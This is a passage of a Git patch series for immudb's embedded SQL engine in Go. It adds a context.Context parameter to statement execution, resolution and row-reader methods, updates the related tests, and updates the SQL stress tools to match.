error { +func (stmt *UpsertIntoStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error { if tx.currentDB == nil { return ErrNoDatabaseSelected } @@ -579,7 +580,7 @@ func (stmt *UpsertIntoStmt) validate(table *Table) (map[uint32]int, error) { return selPosByColID, nil } -func (stmt *UpsertIntoStmt) execAt(tx *SQLTx, params map[string]interface{}) (*SQLTx, error) { +func (stmt *UpsertIntoStmt) execAt(ctx context.Context, tx *SQLTx, params map[string]interface{}) (*SQLTx, error) { if tx.currentDB == nil { return nil, ErrNoDatabaseSelected } @@ -695,7 +696,7 @@ func (stmt *UpsertIntoStmt) execAt(tx *SQLTx, params map[string]interface{}) (*S } } - err = tx.doUpsert(pkEncVals, valuesByColID, table, !stmt.isInsert) + err = tx.doUpsert(ctx, pkEncVals, valuesByColID, table, !stmt.isInsert) if err != nil { return nil, err } @@ -704,11 +705,11 @@ func (stmt *UpsertIntoStmt) execAt(tx *SQLTx, params map[string]interface{}) (*S return tx, nil } -func (tx *SQLTx) doUpsert(pkEncVals []byte, valuesByColID map[uint32]TypedValue, table *Table, reuseIndex bool) error { +func (tx *SQLTx) doUpsert(ctx context.Context, pkEncVals []byte, valuesByColID map[uint32]TypedValue, table *Table, reuseIndex bool) error { var reusableIndexEntries map[uint32]struct{} if reuseIndex && len(table.indexes) > 1 { - currPKRow, err := tx.fetchPKRow(table, valuesByColID) + currPKRow, err := tx.fetchPKRow(ctx, table, valuesByColID) if err != nil && err != ErrNoMoreRows { return err } @@ -871,7 +872,7 @@ func encodedPK(table *Table, valuesByColID map[uint32]TypedValue) ([]byte, error return valbuf.Bytes(), nil } -func (tx *SQLTx) fetchPKRow(table *Table, valuesByColID map[uint32]TypedValue) (*Row, error) { +func (tx *SQLTx) fetchPKRow(ctx context.Context, table *Table, valuesByColID map[uint32]TypedValue) (*Row, error) { pkRanges := make(map[uint32]*typedValueRange, len(table.primaryIndex.cols)) for _, pkCol := range table.primaryIndex.cols { @@ -897,7 +898,7 @@ func (tx *SQLTx) fetchPKRow(table *Table, valuesByColID map[uint32]TypedValue) ( r.Close() }() - return r.Read() + return r.Read(ctx) } // deprecateIndexEntries mark previous index entries as deleted @@ -988,7 +989,7 @@ type colUpdate struct { val ValueExp } -func (stmt *UpdateStmt) inferParameters(tx *SQLTx, params map[string]SQLValueType) error { +func (stmt *UpdateStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error { if tx.currentDB == nil { return ErrNoDatabaseSelected } @@ -998,7 +999,7 @@ func (stmt *UpdateStmt) inferParameters(tx *SQLTx, params map[string]SQLValueTyp where: stmt.where, } - err := selectStmt.inferParameters(tx, params) + err := selectStmt.inferParameters(ctx, tx, params) if err != nil { return err } @@ -1051,7 +1052,7 @@ func (stmt *UpdateStmt) validate(table *Table) error { return nil } -func (stmt *UpdateStmt) execAt(tx *SQLTx, params map[string]interface{}) (*SQLTx, error) { +func (stmt *UpdateStmt) execAt(ctx context.Context, tx *SQLTx, params map[string]interface{}) (*SQLTx, error) { if tx.currentDB == nil { return nil, ErrNoDatabaseSelected } @@ -1064,7 +1065,7 @@ func (stmt *UpdateStmt) execAt(tx *SQLTx, params map[string]interface{}) (*SQLTx offset: stmt.offset, } - rowReader, err := selectStmt.Resolve(tx, params, nil) + rowReader, err := selectStmt.Resolve(ctx, tx, params, nil) if err != nil { return nil, err } @@ -1077,13 +1078,13 @@ func (stmt *UpdateStmt) execAt(tx *SQLTx, params map[string]interface{}) (*SQLTx return nil, err } - cols, err := rowReader.colsBySelector() + cols, err := rowReader.colsBySelector(ctx) if err != nil { return nil, err } for { - row, err := rowReader.Read() + row, err := rowReader.Read(ctx) if err == ErrNoMoreRows { break } @@ -1133,7 +1134,7 @@ func (stmt *UpdateStmt) execAt(tx *SQLTx, params map[string]interface{}) (*SQLTx return nil, err } - err = tx.doUpsert(pkEncVals, valuesByColID, table, true) + err = tx.doUpsert(ctx, pkEncVals, valuesByColID, table, true) if err != nil { return nil, err } @@ -1150,15 +1151,15 @@ type DeleteFromStmt struct { offset int } -func (stmt *DeleteFromStmt) inferParameters(tx *SQLTx, params map[string]SQLValueType) error { +func (stmt *DeleteFromStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error { selectStmt := &SelectStmt{ ds: stmt.tableRef, where: stmt.where, } - return selectStmt.inferParameters(tx, params) + return selectStmt.inferParameters(ctx, tx, params) } -func (stmt *DeleteFromStmt) execAt(tx *SQLTx, params map[string]interface{}) (*SQLTx, error) { +func (stmt *DeleteFromStmt) execAt(ctx context.Context, tx *SQLTx, params map[string]interface{}) (*SQLTx, error) { if tx.currentDB == nil { return nil, ErrNoDatabaseSelected } @@ -1171,7 +1172,7 @@ func (stmt *DeleteFromStmt) execAt(tx *SQLTx, params map[string]interface{}) (*S offset: stmt.offset, } - rowReader, err := selectStmt.Resolve(tx, params, nil) + rowReader, err := selectStmt.Resolve(ctx, tx, params, nil) if err != nil { return nil, err } @@ -1180,7 +1181,7 @@ func (stmt *DeleteFromStmt) execAt(tx *SQLTx, params map[string]interface{}) (*S table := rowReader.ScanSpecs().Index.table for { - row, err := rowReader.Read() + row, err := rowReader.Read(ctx) if err == ErrNoMoreRows { break } @@ -2068,7 +2069,7 @@ const ( type DataSource interface { SQLStmt - Resolve(tx *SQLTx, params map[string]interface{}, scanSpecs *ScanSpecs) (RowReader, error) + Resolve(ctx context.Context, tx *SQLTx, params map[string]interface{}, scanSpecs *ScanSpecs) (RowReader, error) Alias() string } @@ -2095,23 +2096,23 @@ func (stmt *SelectStmt) Offset() int { return stmt.offset } -func (stmt *SelectStmt) inferParameters(tx *SQLTx, params map[string]SQLValueType) error { - _, err := stmt.execAt(tx, nil) +func (stmt *SelectStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error { + _, err := stmt.execAt(ctx, tx, nil) if err != nil { return err } // TODO (jeroiraz) may be optimized so to resolve the query statement just once - rowReader, err := stmt.Resolve(tx, nil, nil) + rowReader, err := stmt.Resolve(ctx, tx, nil, nil) if err != nil { return err } defer rowReader.Close() - return rowReader.InferParameters(params) + return rowReader.InferParameters(ctx, params) } -func (stmt *SelectStmt) execAt(tx *SQLTx, params map[string]interface{}) (*SQLTx, error) { +func (stmt *SelectStmt) execAt(ctx context.Context, tx *SQLTx, params map[string]interface{}) (*SQLTx, error) { if tx.currentDB == nil { return nil, ErrNoDatabaseSelected } @@ -2153,13 +2154,13 @@ func (stmt *SelectStmt) execAt(tx *SQLTx, params map[string]interface{}) (*SQLTx return tx, nil } -func (stmt *SelectStmt) Resolve(tx *SQLTx, params map[string]interface{}, _ *ScanSpecs) (ret RowReader, err error) { +func (stmt *SelectStmt) Resolve(ctx context.Context, tx *SQLTx, params map[string]interface{}, _ *ScanSpecs) (ret RowReader, err error) { scanSpecs, err := stmt.genScanSpecs(tx, params) if err != nil { return nil, err } - rowReader, err := stmt.ds.Resolve(tx, params, scanSpecs) + rowReader, err := stmt.ds.Resolve(ctx, tx, params, scanSpecs) if err != nil { return nil, err } @@ -2206,14 +2207,14 @@ func (stmt *SelectStmt) Resolve(tx *SQLTx, params map[string]interface{}, _ *Sca } } - projectedRowReader, err := newProjectedRowReader(rowReader, stmt.as, stmt.selectors) + projectedRowReader, err := newProjectedRowReader(ctx, rowReader, stmt.as, stmt.selectors) if err != nil { return nil, err } rowReader = projectedRowReader if stmt.distinct { - distinctRowReader, err := newDistinctRowReader(rowReader) + distinctRowReader, err := newDistinctRowReader(ctx, rowReader) if err != nil { return nil, err } @@ -2325,26 +2326,26 @@ type UnionStmt struct { left, right DataSource } -func (stmt *UnionStmt) inferParameters(tx *SQLTx, params map[string]SQLValueType) error { - err := stmt.left.inferParameters(tx, params) +func (stmt *UnionStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error { + err := stmt.left.inferParameters(ctx, tx, params) if err != nil { return err } - return stmt.right.inferParameters(tx, params) + return stmt.right.inferParameters(ctx, tx, params) } -func (stmt *UnionStmt) execAt(tx *SQLTx, params map[string]interface{}) (*SQLTx, error) { - _, err := stmt.left.execAt(tx, params) +func (stmt *UnionStmt) execAt(ctx context.Context, tx *SQLTx, params map[string]interface{}) (*SQLTx, error) { + _, err := stmt.left.execAt(ctx, tx, params) if err != nil { return tx, err } - return stmt.right.execAt(tx, params) + return stmt.right.execAt(ctx, tx, params) } -func (stmt *UnionStmt) resolveUnionAll(tx *SQLTx, params map[string]interface{}) (ret RowReader, err error) { - leftRowReader, err := stmt.left.Resolve(tx, params, nil) +func (stmt *UnionStmt) resolveUnionAll(ctx context.Context, tx *SQLTx, params map[string]interface{}) (ret RowReader, err error) { + leftRowReader, err := stmt.left.Resolve(ctx, tx, params, nil) if err != nil { return nil, err } @@ -2354,7 +2355,7 @@ func (stmt *UnionStmt) resolveUnionAll(tx *SQLTx, params map[string]interface{}) } }() - rightRowReader, err := stmt.right.Resolve(tx, params, nil) + rightRowReader, err := stmt.right.Resolve(ctx, tx, params, nil) if err != nil { return nil, err } @@ -2364,7 +2365,7 @@ func (stmt *UnionStmt) resolveUnionAll(tx *SQLTx, params map[string]interface{}) } }() - rowReader, err := newUnionRowReader([]RowReader{leftRowReader, rightRowReader}) + rowReader, err := newUnionRowReader(ctx, []RowReader{leftRowReader, rightRowReader}) if err != nil { return nil, err } @@ -2372,8 +2373,8 @@ func (stmt *UnionStmt) resolveUnionAll(tx *SQLTx, params map[string]interface{}) return rowReader, nil } -func (stmt *UnionStmt) Resolve(tx *SQLTx, params map[string]interface{}, _ *ScanSpecs) (ret RowReader, err error) { - rowReader, err := stmt.resolveUnionAll(tx, params) +func (stmt *UnionStmt) Resolve(ctx context.Context, tx *SQLTx, params map[string]interface{}, _ *ScanSpecs) (ret RowReader, err error) { + rowReader, err := stmt.resolveUnionAll(ctx, tx, params) if err != nil { return nil, err } @@ -2384,7 +2385,7 @@ func (stmt *UnionStmt) Resolve(tx *SQLTx, params map[string]interface{}, _ *Scan }() if stmt.distinct { - distinctReader, err := newDistinctRowReader(rowReader) + distinctReader, err := newDistinctRowReader(ctx, rowReader) if err != nil { return nil, err } @@ -2530,15 +2531,15 @@ func (stmt *tableRef) referencedTable(tx *SQLTx) (*Table, error) { return table, nil } -func (stmt *tableRef) inferParameters(tx *SQLTx, params map[string]SQLValueType) error { +func (stmt *tableRef) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error { return nil } -func (stmt *tableRef) execAt(tx *SQLTx, params map[string]interface{}) (*SQLTx, error) { +func (stmt *tableRef) execAt(ctx context.Context, tx *SQLTx, params map[string]interface{}) (*SQLTx, error) { return tx, nil } -func (stmt *tableRef) Resolve(tx *SQLTx, params map[string]interface{}, scanSpecs *ScanSpecs) (RowReader, error) { +func (stmt *tableRef) Resolve(ctx context.Context, tx *SQLTx, params map[string]interface{}, scanSpecs *ScanSpecs) (RowReader, error) { if tx == nil { return nil, ErrIllegalArguments } @@ -3602,11 +3603,11 @@ type FnDataSourceStmt struct { as string } -func (stmt *FnDataSourceStmt) execAt(tx *SQLTx, params map[string]interface{}) (*SQLTx, error) { +func (stmt *FnDataSourceStmt) execAt(ctx context.Context, tx *SQLTx, params map[string]interface{}) (*SQLTx, error) { return tx, nil } -func (stmt *FnDataSourceStmt) inferParameters(tx *SQLTx, params map[string]SQLValueType) error { +func (stmt *FnDataSourceStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error { return nil } @@ -3638,7 +3639,7 @@ func (stmt *FnDataSourceStmt) Alias() string { return "" } -func (stmt *FnDataSourceStmt) Resolve(tx *SQLTx, params map[string]interface{}, scanSpecs *ScanSpecs) (rowReader RowReader, err error) { +func (stmt *FnDataSourceStmt) Resolve(ctx context.Context, tx *SQLTx, params map[string]interface{}, scanSpecs *ScanSpecs) (rowReader RowReader, err error) { if stmt.fnCall == nil { return nil, fmt.Errorf("%w: function is unspecified", ErrIllegalArguments) } @@ -3646,26 +3647,26 @@ func (stmt *FnDataSourceStmt) Resolve(tx *SQLTx, params map[string]interface{}, switch strings.ToUpper(stmt.fnCall.fn) { case DatabasesFnCall: { - return stmt.resolveListDatabases(tx, params, scanSpecs) + return stmt.resolveListDatabases(ctx, tx, params, scanSpecs) } case TablesFnCall: { - return stmt.resolveListTables(tx, params, scanSpecs) + return stmt.resolveListTables(ctx, tx, params, scanSpecs) } case ColumnsFnCall: { - return stmt.resolveListColumns(tx, params, scanSpecs) + return stmt.resolveListColumns(ctx, tx, params, scanSpecs) } case IndexesFnCall: { - return stmt.resolveListIndexes(tx, params, scanSpecs) + return stmt.resolveListIndexes(ctx, tx, params, scanSpecs) } } return nil, fmt.Errorf("%w (%s)", ErrFunctionDoesNotExist, stmt.fnCall.fn) } -func (stmt *FnDataSourceStmt) resolveListDatabases(tx *SQLTx, params map[string]interface{}, _ *ScanSpecs) (rowReader RowReader, err error) { +func (stmt *FnDataSourceStmt) resolveListDatabases(ctx context.Context, tx *SQLTx, params map[string]interface{}, _ *ScanSpecs) (rowReader RowReader, err error) { if len(stmt.fnCall.params) > 0 { return nil, fmt.Errorf("%w: function '%s' expect no parameters but %d were provided", ErrIllegalArguments, DatabasesFnCall, len(stmt.fnCall.params)) } @@ -3685,7 +3686,7 @@ func (stmt *FnDataSourceStmt) resolveListDatabases(tx *SQLTx, params map[string] dbs[i] = db.name } } else { - dbs, err = tx.engine.multidbHandler.ListDatabases(tx.Context()) + dbs, err = tx.engine.multidbHandler.ListDatabases(ctx) if err != nil { return nil, err } @@ -3697,10 +3698,10 @@ func (stmt *FnDataSourceStmt) resolveListDatabases(tx *SQLTx, params map[string] values[i] = []ValueExp{&Varchar{val: db}} } - return newValuesRowReader(tx, cols, "*", stmt.Alias(), values) + return newValuesRowReader(ctx, tx, cols, "*", stmt.Alias(), values) } -func (stmt *FnDataSourceStmt) resolveListTables(tx *SQLTx, params map[string]interface{}, _ *ScanSpecs) (rowReader RowReader, err error) { +func (stmt *FnDataSourceStmt) resolveListTables(ctx context.Context, tx *SQLTx, params map[string]interface{}, _ *ScanSpecs) (rowReader RowReader, err error) { if len(stmt.fnCall.params) > 0 { return nil, fmt.Errorf("%w: function '%s' expect no parameters but %d were provided", ErrIllegalArguments, TablesFnCall, len(stmt.fnCall.params)) } @@ -3721,10 +3722,10 @@ func (stmt *FnDataSourceStmt) resolveListTables(tx *SQLTx, params map[string]int values[i] = []ValueExp{&Varchar{val: t.name}} } - return newValuesRowReader(tx, cols, db.name, stmt.Alias(), values) + return newValuesRowReader(ctx, tx, cols, db.name, stmt.Alias(), values) } -func (stmt *FnDataSourceStmt) resolveListColumns(tx *SQLTx, params map[string]interface{}, _ *ScanSpecs) (RowReader, error) { +func (stmt *FnDataSourceStmt) resolveListColumns(ctx context.Context, tx *SQLTx, params map[string]interface{}, _ *ScanSpecs) (RowReader, error) { if len(stmt.fnCall.params) != 1 { return nil, fmt.Errorf("%w: function '%s' expect table name as parameter", ErrIllegalArguments, ColumnsFnCall) } @@ -3816,10 +3817,10 @@ func (stmt *FnDataSourceStmt) resolveListColumns(tx *SQLTx, params map[string]in } } - return newValuesRowReader(tx, cols, table.db.name, stmt.Alias(), values) + return newValuesRowReader(ctx, tx, cols, table.db.name, stmt.Alias(), values) } -func (stmt *FnDataSourceStmt) resolveListIndexes(tx *SQLTx, params map[string]interface{}, _ *ScanSpecs) (RowReader, error) { +func (stmt *FnDataSourceStmt) resolveListIndexes(ctx context.Context, tx *SQLTx, params map[string]interface{}, _ *ScanSpecs) (RowReader, error) { if len(stmt.fnCall.params) != 1 { return nil, fmt.Errorf("%w: function '%s' expect table name as parameter", ErrIllegalArguments, IndexesFnCall) } @@ -3873,5 +3874,5 @@ func (stmt *FnDataSourceStmt) resolveListIndexes(tx *SQLTx, params map[string]in } } - return newValuesRowReader(tx, cols, table.db.name, stmt.Alias(), values) + return newValuesRowReader(ctx, tx, cols, table.db.name, stmt.Alias(), values) } diff --git a/embedded/sql/stmt_test.go b/embedded/sql/stmt_test.go index 2e57f2f963..70627ab4c8 100644 --- a/embedded/sql/stmt_test.go +++ b/embedded/sql/stmt_test.go @@ -17,6 +17,7 @@ limitations under the License. package sql import ( + "context" "fmt" "testing" "time" @@ -674,11 +675,11 @@ func TestAliasing(t *testing.T) { func TestEdgeCases(t *testing.T) { stmt := &CreateIndexStmt{} - _, err := stmt.execAt(nil, nil) + _, err := stmt.execAt(context.Background(), nil, nil) require.ErrorIs(t, err, ErrIllegalArguments) stmt.cols = make([]string, MaxNumberOfColumnsInIndex+1) - _, err = stmt.execAt(nil, nil) + _, err = stmt.execAt(context.Background(), nil, nil) require.ErrorIs(t, err, ErrMaxNumberOfColumnsInIndexExceeded) } @@ -794,19 +795,19 @@ func TestUnionSelectErrors(t *testing.T) { stmt := &UnionStmt{ left: &dummyDataSource{ - ResolveFunc: func(tx *SQLTx, params map[string]interface{}, ScanSpecs *ScanSpecs) (RowReader, error) { + ResolveFunc: func(ctx context.Context, tx *SQLTx, params map[string]interface{}, ScanSpecs *ScanSpecs) (RowReader, error) { return reader1, nil }, }, right: &dummyDataSource{ - ResolveFunc: func(tx *SQLTx, params map[string]interface{}, ScanSpecs *ScanSpecs) (RowReader, error) { + ResolveFunc: func(ctx context.Context, tx *SQLTx, params map[string]interface{}, ScanSpecs *ScanSpecs) (RowReader, error) { return reader2, nil }, }, distinct: true, } - reader, err := stmt.Resolve(nil, nil, nil) + reader, err := stmt.Resolve(context.Background(), nil, nil, nil) require.ErrorIs(t, err, errDummy) require.Nil(t, reader) require.True(t, reader1.closed) @@ -825,19 +826,19 @@ func TestUnionSelectErrors(t *testing.T) { stmt := &UnionStmt{ left: &dummyDataSource{ - ResolveFunc: func(tx *SQLTx, params map[string]interface{}, ScanSpecs *ScanSpecs) (RowReader, error) { + ResolveFunc: func(ctx context.Context, tx *SQLTx, params map[string]interface{}, ScanSpecs *ScanSpecs) (RowReader, error) { return reader1, nil }, }, right: &dummyDataSource{ - ResolveFunc: func(tx *SQLTx, params map[string]interface{}, ScanSpecs *ScanSpecs) (RowReader, error) { + ResolveFunc: func(ctx context.Context, tx *SQLTx, params map[string]interface{}, ScanSpecs *ScanSpecs) (RowReader, error) { return reader2, nil }, }, distinct: true, } - reader, err := stmt.Resolve(nil, nil, nil) + reader, err := stmt.Resolve(context.Background(), nil, nil, nil) require.ErrorIs(t, err, errDummy) require.Nil(t, reader) require.True(t, reader1.closed) @@ -852,7 +853,7 @@ func TestJoinErrors(t *testing.T) { stmt := &SelectStmt{ ds: &dummyDataSource{ - ResolveFunc: func(tx *SQLTx, params map[string]interface{}, ScanSpecs *ScanSpecs) (RowReader, error) { + ResolveFunc: func(ctx context.Context, tx *SQLTx, params map[string]interface{}, ScanSpecs *ScanSpecs) (RowReader, error) { return baseReader, nil }, }, @@ -861,7 +862,7 @@ func TestJoinErrors(t *testing.T) { }}, } - reader, err := stmt.Resolve(nil, nil, nil) + reader, err := stmt.Resolve(context.Background(), nil, nil, nil) require.ErrorIs(t, err, ErrUnsupportedJoinType) require.Nil(t, reader) require.True(t, baseReader.closed) @@ -875,13 +876,13 @@ func TestProjectedRowReaderErrors(t *testing.T) { stmt := &SelectStmt{ ds: &dummyDataSource{ - ResolveFunc: func(tx *SQLTx, params map[string]interface{}, ScanSpecs *ScanSpecs) (RowReader, error) { + ResolveFunc: func(ctx context.Context, tx *SQLTx, params map[string]interface{}, ScanSpecs *ScanSpecs) (RowReader, error) { return baseReader, nil }, }, } - reader, err := stmt.Resolve(nil, nil, nil) + reader, err := stmt.Resolve(context.Background(), nil, nil, nil) require.ErrorIs(t, err, errDummy) require.Nil(t, reader) require.True(t, baseReader.closed) @@ -895,14 +896,14 @@ func TestDistinctRowReaderErrors(t *testing.T) { stmt := &SelectStmt{ ds: &dummyDataSource{ - ResolveFunc: func(tx *SQLTx, params map[string]interface{}, ScanSpecs *ScanSpecs) (RowReader, error) { + ResolveFunc: func(ctx context.Context, tx *SQLTx, params map[string]interface{}, ScanSpecs *ScanSpecs) (RowReader, error) { return baseReader, nil }, }, distinct: true, } - reader, err := stmt.Resolve(nil, nil, nil) + reader, err := stmt.Resolve(context.Background(), nil, nil, nil) require.ErrorIs(t, err, errDummy) require.Nil(t, reader) require.True(t, baseReader.closed) diff --git a/embedded/sql/union_row_reader.go b/embedded/sql/union_row_reader.go index 9f293b0dd8..8430eecf07 100644 --- a/embedded/sql/union_row_reader.go +++ b/embedded/sql/union_row_reader.go @@ -17,6 +17,7 @@ limitations under the License. package sql import ( + "context" "fmt" "github.com/codenotary/immudb/embedded/multierr" @@ -30,18 +31,18 @@ type unionRowReader struct { cols []ColDescriptor } -func newUnionRowReader(rowReaders []RowReader) (*unionRowReader, error) { +func newUnionRowReader(ctx context.Context, rowReaders []RowReader) (*unionRowReader, error) { if len(rowReaders) == 0 { return nil, ErrIllegalArguments } - cols, err := rowReaders[0].Columns() + cols, err := rowReaders[0].Columns(ctx) if err != nil { return nil, err } for i := 1; i < len(rowReaders); i++ { - cs, err := rowReaders[i].Columns() + cs, err := rowReaders[i].Columns(ctx) if err != nil { return nil, err } @@ -102,17 +103,17 @@ func (ur *unionRowReader) ScanSpecs() *ScanSpecs { return nil } -func (ur *unionRowReader) Columns() ([]ColDescriptor, error) { - return ur.rowReaders[0].Columns() +func (ur *unionRowReader) Columns(ctx context.Context) ([]ColDescriptor, error) { + return ur.rowReaders[0].Columns(ctx) } -func (ur *unionRowReader) colsBySelector() (map[string]ColDescriptor, error) { - return ur.rowReaders[0].colsBySelector() +func (ur *unionRowReader) colsBySelector(ctx context.Context) (map[string]ColDescriptor, error) { + return ur.rowReaders[0].colsBySelector(ctx) } -func (ur *unionRowReader) InferParameters(params map[string]SQLValueType) error { +func (ur *unionRowReader) InferParameters(ctx context.Context, params map[string]SQLValueType) error { for _, r := range ur.rowReaders { - err := r.InferParameters(params) + err := r.InferParameters(ctx, params) if err != nil { return err } @@ -121,9 +122,9 @@ func (ur *unionRowReader) InferParameters(params map[string]SQLValueType) error return nil } -func (ur *unionRowReader) Read() (*Row, error) { +func (ur *unionRowReader) Read(ctx context.Context) (*Row, error) { for { - row, err := ur.rowReaders[ur.currReader].Read() + row, err := ur.rowReaders[ur.currReader].Read(ctx) if err == store.ErrNoMoreEntries && ur.currReader+1 < len(ur.rowReaders) { ur.currReader++ continue diff --git a/embedded/sql/union_row_reader_test.go b/embedded/sql/union_row_reader_test.go index 26b09656db..df8adc1428 100644 --- a/embedded/sql/union_row_reader_test.go +++ b/embedded/sql/union_row_reader_test.go @@ -17,13 +17,14 @@ limitations under the License. package sql import ( + "context" "testing" "github.com/stretchr/testify/require" ) func TestUnionRowReader(t *testing.T) { - _, err := newUnionRowReader(nil) + _, err := newUnionRowReader(context.Background(), nil) require.ErrorIs(t, err, ErrIllegalArguments) dummyr := &dummyRowReader{ @@ -31,12 +32,12 @@ func TestUnionRowReader(t *testing.T) { failReturningColumns: true, } - _, err = newUnionRowReader([]RowReader{dummyr}) + _, err = newUnionRowReader(context.Background(), []RowReader{dummyr}) require.ErrorIs(t, err, errDummy) dummyr.failReturningColumns = false - rowReader, err := newUnionRowReader([]RowReader{dummyr}) + rowReader, err := newUnionRowReader(context.Background(), []RowReader{dummyr}) require.NoError(t, err) require.NotNil(t, rowReader) @@ -59,10 +60,10 @@ func TestUnionRowReader(t *testing.T) { require.Equal(t, params, rowReader.Parameters()) paramTypes := make(map[string]string) - err = rowReader.InferParameters(paramTypes) + err = rowReader.InferParameters(context.Background(), paramTypes) require.NoError(t, err) dummyr.failInferringParams = true - err = rowReader.InferParameters(paramTypes) + err = rowReader.InferParameters(context.Background(), paramTypes) require.ErrorIs(t, err, errDummy) } diff --git a/embedded/sql/values_row_reader.go b/embedded/sql/values_row_reader.go index a209c6fcc2..da5392af47 100644 --- a/embedded/sql/values_row_reader.go +++ b/embedded/sql/values_row_reader.go @@ -16,7 +16,10 @@ limitations under the License. package sql -import "fmt" +import ( + "context" + "fmt" +) type valuesRowReader struct { tx *SQLTx @@ -35,7 +38,7 @@ type valuesRowReader struct { closed bool } -func newValuesRowReader(tx *SQLTx, cols []ColDescriptor, dbAlias, tableAlias string, values [][]ValueExp) (*valuesRowReader, error) { +func newValuesRowReader(ctx context.Context, tx *SQLTx, cols []ColDescriptor, dbAlias, tableAlias string, values [][]ValueExp) (*valuesRowReader, error) { if len(cols) == 0 { return nil, fmt.Errorf("%w: empty column list", ErrIllegalArguments) } @@ -126,15 +129,15 @@ func (vr *valuesRowReader) ScanSpecs() *ScanSpecs { return nil } -func (vr *valuesRowReader) Columns() ([]ColDescriptor, error) { +func (vr *valuesRowReader) Columns(ctx context.Context) ([]ColDescriptor, error) { return vr.colsByPos, nil } -func (vr *valuesRowReader) colsBySelector() (map[string]ColDescriptor, error) { +func (vr *valuesRowReader) colsBySelector(ctx context.Context) (map[string]ColDescriptor, error) { return vr.colsBySel, nil } -func (vr *valuesRowReader) InferParameters(params map[string]SQLValueType) error { +func (vr *valuesRowReader) InferParameters(ctx context.Context, params map[string]SQLValueType) error { for _, vs := range vr.values { for _, v := range vs { v.inferType(vr.colsBySel, params, vr.dbAlias, vr.tableAlias) @@ -143,7 +146,7 @@ func (vr *valuesRowReader) InferParameters(params map[string]SQLValueType) error return nil } -func (vr *valuesRowReader) Read() (*Row, error) { +func (vr *valuesRowReader) Read(ctx context.Context) (*Row, error) { if vr.read == len(vr.values) { return nil, ErrNoMoreRows } diff --git a/embedded/sql/values_row_reader_test.go b/embedded/sql/values_row_reader_test.go index 49cf353308..57c432dce9 100644 --- a/embedded/sql/values_row_reader_test.go +++ b/embedded/sql/values_row_reader_test.go @@ -17,29 +17,30 @@ limitations under the License. package sql import ( + "context" "testing" "github.com/stretchr/testify/require" ) func TestValuesRowReader(t *testing.T) { - _, err := newValuesRowReader(nil, nil, "", "", nil) + _, err := newValuesRowReader(context.Background(), nil, nil, "", "", nil) require.ErrorIs(t, err, ErrIllegalArguments) cols := []ColDescriptor{ {Column: "col1"}, } - _, err = newValuesRowReader(nil, cols, "", "", nil) + _, err = newValuesRowReader(context.Background(), nil, cols, "", "", nil) require.ErrorIs(t, err, ErrIllegalArguments) - _, err = newValuesRowReader(nil, cols, "db1", "", nil) + _, err = newValuesRowReader(context.Background(), nil, cols, "db1", "", nil) require.ErrorIs(t, err, ErrIllegalArguments) - _, err = newValuesRowReader(nil, cols, "db1", "table1", nil) + _, err = newValuesRowReader(context.Background(), nil, cols, "db1", "table1", nil) require.NoError(t, err) - _, err = newValuesRowReader(nil, cols, "db1", "table1", + _, err = newValuesRowReader(context.Background(), nil, cols, "db1", "table1", [][]ValueExp{ { &Bool{val: true}, @@ -48,7 +49,7 @@ func TestValuesRowReader(t *testing.T) { }) require.ErrorIs(t, err, ErrInvalidNumberOfValues) - _, err = newValuesRowReader(nil, + _, err = newValuesRowReader(context.Background(), nil, []ColDescriptor{ {Table: "table1", Column: "col1"}, }, "", "", nil) @@ -60,7 +61,7 @@ func TestValuesRowReader(t *testing.T) { }, } - rowReader, err := newValuesRowReader(nil, cols, "db1", "table1", values) + rowReader, err := newValuesRowReader(context.Background(), nil, cols, "db1", "table1", values) require.NoError(t, err) require.Equal(t, "db1", rowReader.Database()) @@ -85,7 +86,7 @@ func TestValuesRowReader(t *testing.T) { require.Equal(t, params, rowReader.Parameters()) paramTypes := make(map[string]string) - err = rowReader.InferParameters(paramTypes) + err = rowReader.InferParameters(context.Background(), paramTypes) require.NoError(t, err) require.NoError(t, rowReader.Close()) From 434c6389e75dfaac6deffa4cd9cabb2991c5dd8e Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Mon, 16 Jan 2023 20:25:30 -0300 Subject: [PATCH 0149/1062] chore(embedded/tools): upgrade embedded tools with transient context Signed-off-by: Jeronimo Irazabal --- embedded/tools/stress_tool/stress_tool.go | 6 +++--- .../tools/stress_tool_sql/stress_tool_sql.go | 20 ++++++++++--------- 2 files changed, 14 insertions(+), 12 deletions(-) diff --git a/embedded/tools/stress_tool/stress_tool.go b/embedded/tools/stress_tool/stress_tool.go index 61756a160f..e69e09d933 100644 --- a/embedded/tools/stress_tool/stress_tool.go +++ b/embedded/tools/stress_tool/stress_tool.go @@ -129,7 +129,7 @@ func main() { panic(err) } - hdr, err := tx.Commit() + hdr, err := tx.Commit(context.Background()) if err != nil { panic(err) } @@ -189,7 +189,7 @@ func main() { panic(err) } - _, err = tx.Commit() + _, err = tx.Commit(context.Background()) if err != nil { panic(err) } @@ -282,7 +282,7 @@ func main() { } } - txhdr, err := tx.Commit() + txhdr, err := tx.Commit(context.Background()) if err != nil { panic(err) } diff --git a/embedded/tools/stress_tool_sql/stress_tool_sql.go b/embedded/tools/stress_tool_sql/stress_tool_sql.go index cd78759e8c..0e0a21a34b 100644 --- a/embedded/tools/stress_tool_sql/stress_tool_sql.go +++ b/embedded/tools/stress_tool_sql/stress_tool_sql.go @@ -17,6 +17,7 @@ limitations under the License. package main import ( + "context" "flag" "log" "math/rand" @@ -148,18 +149,18 @@ func main() { } log.Printf("SQL engine successfully initialized!\r\n") - _, _, err = engine.Exec("CREATE DATABASE defaultdb;", map[string]interface{}{}, nil) + _, _, err = engine.Exec(context.Background(), nil, "CREATE DATABASE defaultdb;", map[string]interface{}{}) if err != nil { panic(err) } - _, _, err = engine.Exec("USE DATABASE defaultdb;", map[string]interface{}{}, nil) + _, _, err = engine.Exec(context.Background(), nil, "USE DATABASE defaultdb;", map[string]interface{}{}) if err != nil { panic(err) } log.Printf("Creating tables\r\n") - _, _, err = engine.Exec("CREATE TABLE IF NOT EXISTS entries (id INTEGER, value BLOB, ts INTEGER, PRIMARY KEY id);", map[string]interface{}{}, nil) + _, _, err = 